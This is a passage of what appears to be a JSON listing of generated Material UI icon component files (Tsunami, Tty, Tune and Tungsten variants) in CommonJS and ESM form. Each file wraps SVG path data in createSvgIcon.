    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.04 14c.47-.24.68-.41 1.3-.87 2 1.48 3.07 1.39 3.79 1.32C8.4 13.27 8 11.92 8 10.5c0-1.67.54-3.21 1.47-4.46C6.41 7.52 4.3 10.46 4.04 14\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 17.63c-.66.49-2.92 2.76-6.67 0C3.43 19.03 2.65 19 2 19v2c1.16 0 2.3-.32 3.33-.93 2.06 1.22 4.61 1.22 6.67 0 2.06 1.22 4.61 1.22 6.67 0 1.03.61 2.17.93 3.33.93v-2c-.66 0-1.5-.02-3.33-1.37-3.8 2.8-6.13.4-6.67 0M19.33 12H22v-2h-2.67C17.5 10 16 8.5 16 6.67c0-1.02.38-1.74 1.09-3.34-1.37-.21-2-.33-3.09-.33C7.36 3 2.15 8.03 2.01 14.5l-.01 2c1.16 0 2.3-.32 3.33-.93 2.06 1.22 4.61 1.22 6.67 0 2.06 1.22 4.61 1.22 6.67 0 1.03.61 2.17.93 3.33.93v-2c-.66 0-1.5-.02-3.33-1.37-3.8 2.8-6.12.4-6.67 0-.9.67-.54.41-.91.63-.7-.94-1.09-2.06-1.09-3.26 0-2.58 1.77-4.74 4.21-5.33-.13.51-.21 1.02-.21 1.5C14 9.61 16.39 12 19.33 12m-10.2 2.45c-.72.07-1.79.16-3.79-1.32-.62.46-.82.63-1.3.87.27-3.53 2.38-6.48 5.43-7.96C8.54 7.29 8 8.83 8 10.5c0 1.42.4 2.77 1.13 3.95\"\n}, \"1\")], 'TsunamiTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TsunamiTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.04 14c.47-.24.68-.41 1.3-.87 2 1.48 3.07 1.39 3.79 1.32C8.4 13.27 8 11.92 8 10.5c0-1.67.54-3.21 1.47-4.46C6.41 7.52 4.3 10.46 4.04 14\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 17.63c-.66.49-2.92 2.76-6.67 0C3.43 19.03 2.65 19 2 19v2c1.16 0 2.3-.32 3.33-.93 2.06 1.22 4.61 1.22 6.67 0 2.06 1.22 4.61 1.22 6.67 0 1.03.61 2.17.93 3.33.93v-2c-.66 0-1.5-.02-3.33-1.37-3.8 2.8-6.13.4-6.67 0M19.33 12H22v-2h-2.67C17.5 10 16 8.5 16 6.67c0-1.02.38-1.74 1.09-3.34-1.37-.21-2-.33-3.09-.33C7.36 3 2.15 8.03 2.01 14.5l-.01 2c1.16 0 2.3-.32 3.33-.93 2.06 1.22 4.61 1.22 6.67 0 2.06 1.22 4.61 1.22 6.67 0 1.03.61 2.17.93 3.33.93v-2c-.66 0-1.5-.02-3.33-1.37-3.8 2.8-6.12.4-6.67 0-.9.67-.54.41-.91.63-.7-.94-1.09-2.06-1.09-3.26 0-2.58 1.77-4.74 4.21-5.33-.13.51-.21 1.02-.21 1.5C14 9.61 16.39 12 19.33 12m-10.2 2.45c-.72.07-1.79.16-3.79-1.32-.62.46-.82.63-1.3.87.27-3.53 2.38-6.48 5.43-7.96C8.54 7.29 8 8.83 8 10.5c0 1.42.4 2.77 1.13 3.95\"\n}, \"1\")], 'TsunamiTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Tty.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 4h2v2h-2zm-1 3h2v2h-2zm-2-3h2v2h-2zm7 5h-2V7h2zm1-3h-2V4h2zm2 3h-2V7h2zm1-3h-2V4h2zm-7.38 8.38L12.1 16.9c-2.5-1.43-4.57-3.5-6-6l2.52-2.52c.24-.24.34-.58.28-.9L8.16 3.8c-.09-.46-.5-.8-.98-.8H3.03c-.56 0-1.03.47-1 1.03.17 2.89 1.02 5.6 2.4 7.97 1.58 2.73 3.85 4.99 6.57 6.57 2.37 1.37 5.08 2.23 7.97 2.4.56.03 1.03-.44 1.03-1v-4.15c0-.48-.34-.89-.8-.98l-3.67-.73a.991.991 0 0 0-.91.27M14 10h2v2h-2zm-3 0h2v2h-2zm8 2h-2v-2h2zm3 0h-2v-2h2z\"\n}), 'Tty');"
  },
  {
    "path": "packages/mui-icons-material/lib/Tty.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 4h2v2h-2zm-1 3h2v2h-2zm-2-3h2v2h-2zm7 5h-2V7h2zm1-3h-2V4h2zm2 3h-2V7h2zm1-3h-2V4h2zm-7.38 8.38L12.1 16.9c-2.5-1.43-4.57-3.5-6-6l2.52-2.52c.24-.24.34-.58.28-.9L8.16 3.8c-.09-.46-.5-.8-.98-.8H3.03c-.56 0-1.03.47-1 1.03.17 2.89 1.02 5.6 2.4 7.97 1.58 2.73 3.85 4.99 6.57 6.57 2.37 1.37 5.08 2.23 7.97 2.4.56.03 1.03-.44 1.03-1v-4.15c0-.48-.34-.89-.8-.98l-3.67-.73a.991.991 0 0 0-.91.27M14 10h2v2h-2zm-3 0h2v2h-2zm8 2h-2v-2h2zm3 0h-2v-2h2z\"\n}), 'Tty');"
  },
  {
    "path": "packages/mui-icons-material/lib/TtyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 6h-2V4h2zm2 1h-2v2h2zm1 2h2V7h-2zm0-5h-2v2h2zm-4 3h-2v2h2zm4 3h-2v2h2zm-3 0h-2v2h2zm-3-6h-2v2h2zm7 11.82v4.15c0 .56-.47 1.03-1.03 1-2.89-.17-5.6-1.03-7.97-2.4A18 18 0 0 1 4.43 12C3.05 9.63 2.2 6.92 2.03 4.03 2 3.47 2.47 3 3.03 3h4.15c.48 0 .89.34.98.8l.74 3.68c.07.33-.04.67-.27.9L6.1 10.9c1.43 2.5 3.5 4.57 6 6l2.52-2.52c.24-.24.58-.34.9-.27l3.67.73c.47.09.81.5.81.98M5.18 8.99l1.65-1.65L6.36 5H4.13c.17 1.37.53 2.71 1.05 3.99M18 16.64l-2.34-.47-1.65 1.65c1.28.52 2.63.87 3.99 1.05zM20 4v2h2V4zm0 8h2v-2h-2zm-7-2h-2v2h2z\"\n}), 'TtyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TtyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 6h-2V4h2zm2 1h-2v2h2zm1 2h2V7h-2zm0-5h-2v2h2zm-4 3h-2v2h2zm4 3h-2v2h2zm-3 0h-2v2h2zm-3-6h-2v2h2zm7 11.82v4.15c0 .56-.47 1.03-1.03 1-2.89-.17-5.6-1.03-7.97-2.4A18 18 0 0 1 4.43 12C3.05 9.63 2.2 6.92 2.03 4.03 2 3.47 2.47 3 3.03 3h4.15c.48 0 .89.34.98.8l.74 3.68c.07.33-.04.67-.27.9L6.1 10.9c1.43 2.5 3.5 4.57 6 6l2.52-2.52c.24-.24.58-.34.9-.27l3.67.73c.47.09.81.5.81.98M5.18 8.99l1.65-1.65L6.36 5H4.13c.17 1.37.53 2.71 1.05 3.99M18 16.64l-2.34-.47-1.65 1.65c1.28.52 2.63.87 3.99 1.05zM20 4v2h2V4zm0 8h2v-2h-2zm-7-2h-2v2h2z\"\n}), 'TtyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TtyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-1 3c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-2-3c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m5 5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m1-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m2 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m1-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-6.38 8.38L12.1 16.9c-2.5-1.43-4.57-3.5-6-6l2.52-2.52c.24-.24.34-.58.28-.9L8.16 3.8c-.09-.46-.5-.8-.98-.8H3.03c-.56 0-1.03.47-1 1.03.17 2.89 1.02 5.6 2.4 7.97 1.58 2.73 3.85 4.99 6.57 6.57 2.37 1.37 5.08 2.23 7.97 2.4.56.03 1.03-.44 1.03-1v-4.15c0-.48-.34-.89-.8-.98l-3.67-.73a.991.991 0 0 0-.91.27M15 10c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-3 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m6 2c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'TtyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TtyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-1 3c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-2-3c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m5 5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m1-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m2 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m1-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-6.38 8.38L12.1 16.9c-2.5-1.43-4.57-3.5-6-6l2.52-2.52c.24-.24.34-.58.28-.9L8.16 3.8c-.09-.46-.5-.8-.98-.8H3.03c-.56 0-1.03.47-1 1.03.17 2.89 1.02 5.6 2.4 7.97 1.58 2.73 3.85 4.99 6.57 6.57 2.37 1.37 5.08 2.23 7.97 2.4.56.03 1.03-.44 1.03-1v-4.15c0-.48-.34-.89-.8-.98l-3.67-.73a.991.991 0 0 0-.91.27M15 10c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-3 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m6 2c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'TtyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TtySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 15v6c-3.28 0-6.35-.89-9-2.43A18 18 0 0 1 4.43 12C2.89 9.35 2 6.28 2 3h6l1 5-2.9 2.9c1.43 2.5 3.5 4.57 6 6L15 14zm-6-9h2V4h-2zm-1 3h2V7h-2zm-2-3h2V4h-2zm7 1h-2v2h2zm1-3h-2v2h2zm2 3h-2v2h2zm1-3h-2v2h2zm-8 8h2v-2h-2zm-3 0h2v-2h-2zm8-2h-2v2h2zm3 0h-2v2h2z\"\n}), 'TtySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TtySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 15v6c-3.28 0-6.35-.89-9-2.43A18 18 0 0 1 4.43 12C2.89 9.35 2 6.28 2 3h6l1 5-2.9 2.9c1.43 2.5 3.5 4.57 6 6L15 14zm-6-9h2V4h-2zm-1 3h2V7h-2zm-2-3h2V4h-2zm7 1h-2v2h2zm1-3h-2v2h2zm2 3h-2v2h2zm1-3h-2v2h2zm-8 8h2v-2h-2zm-3 0h2v-2h-2zm8-2h-2v2h2zm3 0h-2v2h2z\"\n}), 'TtySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TtyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.13 5c.17 1.37.53 2.71 1.05 3.99l1.65-1.65L6.36 5zm11.53 11.17-1.65 1.65c1.28.52 2.63.87 3.99 1.05v-2.23z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.2 14.84-3.67-.73c-.33-.07-.67.04-.9.27L12.1 16.9c-2.5-1.43-4.57-3.5-6-6l2.52-2.52c.24-.24.34-.58.28-.9L8.16 3.8c-.09-.46-.5-.8-.98-.8H3.03c-.56 0-1.03.47-1 1.03.17 2.89 1.02 5.6 2.4 7.97 1.58 2.73 3.85 4.99 6.57 6.57 2.37 1.37 5.08 2.23 7.97 2.4.56.03 1.03-.44 1.03-1v-4.15c0-.48-.34-.89-.8-.98M4.13 5h2.23l.47 2.34-1.65 1.65C4.66 7.71 4.3 6.37 4.13 5M18 18.87c-1.37-.17-2.71-.53-3.99-1.05l1.65-1.65 2.34.47zM14 4h2v2h-2zm-1 3h2v2h-2zm-2-3h2v2h-2zm7 5h-2V7h2zm1-3h-2V4h2zm2 3h-2V7h2zm1-3h-2V4h2zm-8 4h2v2h-2zm-3 0h2v2h-2zm8 2h-2v-2h2zm3 0h-2v-2h2z\"\n}, \"1\")], 'TtyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TtyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.13 5c.17 1.37.53 2.71 1.05 3.99l1.65-1.65L6.36 5zm11.53 11.17-1.65 1.65c1.28.52 2.63.87 3.99 1.05v-2.23z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.2 14.84-3.67-.73c-.33-.07-.67.04-.9.27L12.1 16.9c-2.5-1.43-4.57-3.5-6-6l2.52-2.52c.24-.24.34-.58.28-.9L8.16 3.8c-.09-.46-.5-.8-.98-.8H3.03c-.56 0-1.03.47-1 1.03.17 2.89 1.02 5.6 2.4 7.97 1.58 2.73 3.85 4.99 6.57 6.57 2.37 1.37 5.08 2.23 7.97 2.4.56.03 1.03-.44 1.03-1v-4.15c0-.48-.34-.89-.8-.98M4.13 5h2.23l.47 2.34-1.65 1.65C4.66 7.71 4.3 6.37 4.13 5M18 18.87c-1.37-.17-2.71-.53-3.99-1.05l1.65-1.65 2.34.47zM14 4h2v2h-2zm-1 3h2v2h-2zm-2-3h2v2h-2zm7 5h-2V7h2zm1-3h-2V4h2zm2 3h-2V7h2zm1-3h-2V4h2zm-8 4h2v2h-2zm-3 0h2v2h-2zm8 2h-2v-2h2zm3 0h-2v-2h2z\"\n}, \"1\")], 'TtyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Tune.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17v2h6v-2zM3 5v2h10V5zm10 16v-2h8v-2h-8v-2h-2v6zM7 9v2H3v2h4v2h2V9zm14 4v-2H11v2zm-6-4h2V7h4V5h-4V3h-2z\"\n}), 'Tune');"
  },
  {
    "path": "packages/mui-icons-material/lib/Tune.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17v2h6v-2zM3 5v2h10V5zm10 16v-2h8v-2h-8v-2h-2v6zM7 9v2H3v2h4v2h2V9zm14 4v-2H11v2zm-6-4h2V7h4V5h-4V3h-2z\"\n}), 'Tune');"
  },
  {
    "path": "packages/mui-icons-material/lib/TuneOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17v2h6v-2zM3 5v2h10V5zm10 16v-2h8v-2h-8v-2h-2v6zM7 9v2H3v2h4v2h2V9zm14 4v-2H11v2zm-6-4h2V7h4V5h-4V3h-2z\"\n}), 'TuneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TuneOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17v2h6v-2zM3 5v2h10V5zm10 16v-2h8v-2h-8v-2h-2v6zM7 9v2H3v2h4v2h2V9zm14 4v-2H11v2zm-6-4h2V7h4V5h-4V3h-2z\"\n}), 'TuneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TuneRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 18c0 .55.45 1 1 1h5v-2H4c-.55 0-1 .45-1 1M3 6c0 .55.45 1 1 1h9V5H4c-.55 0-1 .45-1 1m10 14v-1h7c.55 0 1-.45 1-1s-.45-1-1-1h-7v-1c0-.55-.45-1-1-1s-1 .45-1 1v4c0 .55.45 1 1 1s1-.45 1-1M7 10v1H4c-.55 0-1 .45-1 1s.45 1 1 1h3v1c0 .55.45 1 1 1s1-.45 1-1v-4c0-.55-.45-1-1-1s-1 .45-1 1m14 2c0-.55-.45-1-1-1h-9v2h9c.55 0 1-.45 1-1m-5-3c.55 0 1-.45 1-1V7h3c.55 0 1-.45 1-1s-.45-1-1-1h-3V4c0-.55-.45-1-1-1s-1 .45-1 1v4c0 .55.45 1 1 1\"\n}), 'TuneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TuneRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 18c0 .55.45 1 1 1h5v-2H4c-.55 0-1 .45-1 1M3 6c0 .55.45 1 1 1h9V5H4c-.55 0-1 .45-1 1m10 14v-1h7c.55 0 1-.45 1-1s-.45-1-1-1h-7v-1c0-.55-.45-1-1-1s-1 .45-1 1v4c0 .55.45 1 1 1s1-.45 1-1M7 10v1H4c-.55 0-1 .45-1 1s.45 1 1 1h3v1c0 .55.45 1 1 1s1-.45 1-1v-4c0-.55-.45-1-1-1s-1 .45-1 1m14 2c0-.55-.45-1-1-1h-9v2h9c.55 0 1-.45 1-1m-5-3c.55 0 1-.45 1-1V7h3c.55 0 1-.45 1-1s-.45-1-1-1h-3V4c0-.55-.45-1-1-1s-1 .45-1 1v4c0 .55.45 1 1 1\"\n}), 'TuneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TuneSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17v2h6v-2zM3 5v2h10V5zm10 16v-2h8v-2h-8v-2h-2v6zM7 9v2H3v2h4v2h2V9zm14 4v-2H11v2zm-6-4h2V7h4V5h-4V3h-2z\"\n}), 'TuneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TuneSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17v2h6v-2zM3 5v2h10V5zm10 16v-2h8v-2h-8v-2h-2v6zM7 9v2H3v2h4v2h2V9zm14 4v-2H11v2zm-6-4h2V7h4V5h-4V3h-2z\"\n}), 'TuneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TuneTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5h10v2H3zm4 6H3v2h4v2h2V9H7zm6 4h-2v6h2v-2h8v-2h-8zM3 17h6v2H3zm8-6h10v2H11zm6-8h-2v6h2V7h4V5h-4z\"\n}), 'TuneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TuneTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5h10v2H3zm4 6H3v2h4v2h2V9H7zm6 4h-2v6h2v-2h8v-2h-8zM3 17h6v2H3zm8-6h10v2H11zm6-8h-2v6h2V7h4V5h-4z\"\n}), 'TuneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Tungsten.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 19h2v3h-2zm-9-8h3v2H2zm17 0h3v2h-3zm-3.1057 6.8014 1.4071-1.4071 2.1214 2.1213-1.4072 1.4072zm-11.31.7072 2.1213-2.1214 1.4072 1.4072-2.1214 2.1213zM15 8.02V3H9v5.02c-1.21.92-2 2.35-2 3.98 0 2.76 2.24 5 5 5s5-2.24 5-5c0-1.63-.79-3.06-2-3.98M11 5h2v2.1c-.32-.06-.66-.1-1-.1s-.68.04-1 .1z\"\n}), 'Tungsten');"
  },
  {
    "path": "packages/mui-icons-material/lib/Tungsten.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 19h2v3h-2zm-9-8h3v2H2zm17 0h3v2h-3zm-3.1057 6.8014 1.4071-1.4071 2.1214 2.1213-1.4072 1.4072zm-11.31.7072 2.1213-2.1214 1.4072 1.4072-2.1214 2.1213zM15 8.02V3H9v5.02c-1.21.92-2 2.35-2 3.98 0 2.76 2.24 5 5 5s5-2.24 5-5c0-1.63-.79-3.06-2-3.98M11 5h2v2.1c-.32-.06-.66-.1-1-.1s-.68.04-1 .1z\"\n}), 'Tungsten');"
  },
  {
    "path": "packages/mui-icons-material/lib/TungstenOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 19h2v3h-2zm-9-8h3v2H2zm17 0h3v2h-3zm-3.1057 6.8014 1.4071-1.4071 2.1214 2.1213-1.4072 1.4072zm-11.31.7072 2.1213-2.1214 1.4072 1.4072-2.1214 2.1213zM15 8.02V3H9v5.02c-1.21.92-2 2.35-2 3.98 0 2.76 2.24 5 5 5s5-2.24 5-5c0-1.63-.79-3.06-2-3.98M11 5h2v2.1c-.32-.06-.66-.1-1-.1s-.68.04-1 .1zm1 10c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3\"\n}), 'TungstenOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TungstenOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 19h2v3h-2zm-9-8h3v2H2zm17 0h3v2h-3zm-3.1057 6.8014 1.4071-1.4071 2.1214 2.1213-1.4072 1.4072zm-11.31.7072 2.1213-2.1214 1.4072 1.4072-2.1214 2.1213zM15 8.02V3H9v5.02c-1.21.92-2 2.35-2 3.98 0 2.76 2.24 5 5 5s5-2.24 5-5c0-1.63-.79-3.06-2-3.98M11 5h2v2.1c-.32-.06-.66-.1-1-.1s-.68.04-1 .1zm1 10c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3\"\n}), 'TungstenOutlined');"
